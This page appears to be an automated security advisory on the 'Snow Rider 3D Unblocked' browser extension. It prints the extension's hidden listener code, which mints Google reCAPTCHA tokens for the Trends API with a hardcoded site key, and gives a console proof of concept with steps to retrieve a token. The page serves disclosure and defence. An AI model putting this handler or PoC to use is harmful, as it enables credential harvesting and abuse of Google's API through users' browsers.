Is Snow Rider 3D Unblocked safe?
Snow Rider 3D is high risk. Snow Rider 3D Unblocked injects a script into every page listening for 'Extension.GetExploreToken'. When triggered, it calls reCAPTCHA with a hardcoded key for the Trends API and returns the token. Any page's script can trigger this.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Game extension harvests reCAPTCHA tokens for Google Trends API
Snow Rider 3D Unblocked injects a script into every page listening for 'Extension.GetExploreToken'.
When triggered, it calls reCAPTCHA with a hardcoded key for the Trends API and returns the token.
Any page's script can trigger this.
Any script on any page you visit dispatches a custom DOM event named 'Extension.GetExploreToken'.
No user interaction is required; the event can be fired automatically by ad-network code or any other third-party script.
The extension calls Google reCAPTCHA using a hardcoded key and returns the token to the page.
The token is valid for calling the Google Trends Explore API (/trends/api/explore) and is dispatched back via 'Extension.GetExploreTokenResponse'.
Token harvesting handler in listener.js
document.addEventListener('Extension.GetExploreToken', async () => {
// Wait for grecaptcha to be available on the page
await new Promise(resolve => {
const waitForCaptcha = () =>
window.grecaptcha ? resolve({}) : requestAnimationFrame(waitForCaptcha);
waitForCaptcha();
});
try {
// Execute reCAPTCHA with the hardcoded Google Trends site key
const token = await window.grecaptcha?.execute(
'6LfnfJYaAAAAAGZJh3AZH1Xmkg7dIj3IP5-xz19W',
{ action: '/trends/api/explore', fast: true }
);
// Return token to any listening page script
document.dispatchEvent(
new CustomEvent('Extension.GetExploreTokenResponse', { detail: token })
);
} catch {
document.dispatchEvent(
new CustomEvent('Extension.GetExploreTokenResponse', { detail: null })
);
}
});| Field | Value | Why it matters | |
|---|---|---|---|
Google reCAPTCHA token | 03AFcWeA5xQ2kRvBZ8p9NkLmT7yJoFe1rUwCdHsGiXpV3aNmQz... | A short-lived credential proving a valid session to Google's Trends API. Any holder can make authenticated requests to /trends/api/explore. | |
Hardcoded site key | 6LfnfJYaAAAAAGZJh3AZH1Xmkg7dIj3IP5-xz19W | The extension uses a fixed reCAPTCHA site key registered for Google Trends, telling the recipient which API the token is for. |
Demonstrates that any in-page script can trigger the reCAPTCHA harvesting and receive the resulting token.
// Run in browser console on any page where Snow Rider 3D is installed
// and where window.grecaptcha is available (e.g. any Google page).
document.addEventListener('Extension.GetExploreTokenResponse', (e) => {
console.log('[PoC] Received Google Trends reCAPTCHA token:', e.detail);
}, { once: true });
document.dispatchEvent(new CustomEvent('Extension.GetExploreToken'));
console.log('[PoC] Event fired — waiting for response...');- 1Install the extension and go to any Google domain (e.g. google.com).
- 2Open DevTools console.
- 3Paste and run this script.
- 4The token in 'Extension.GetExploreTokenResponse' is a live credential for the Trends Explore API.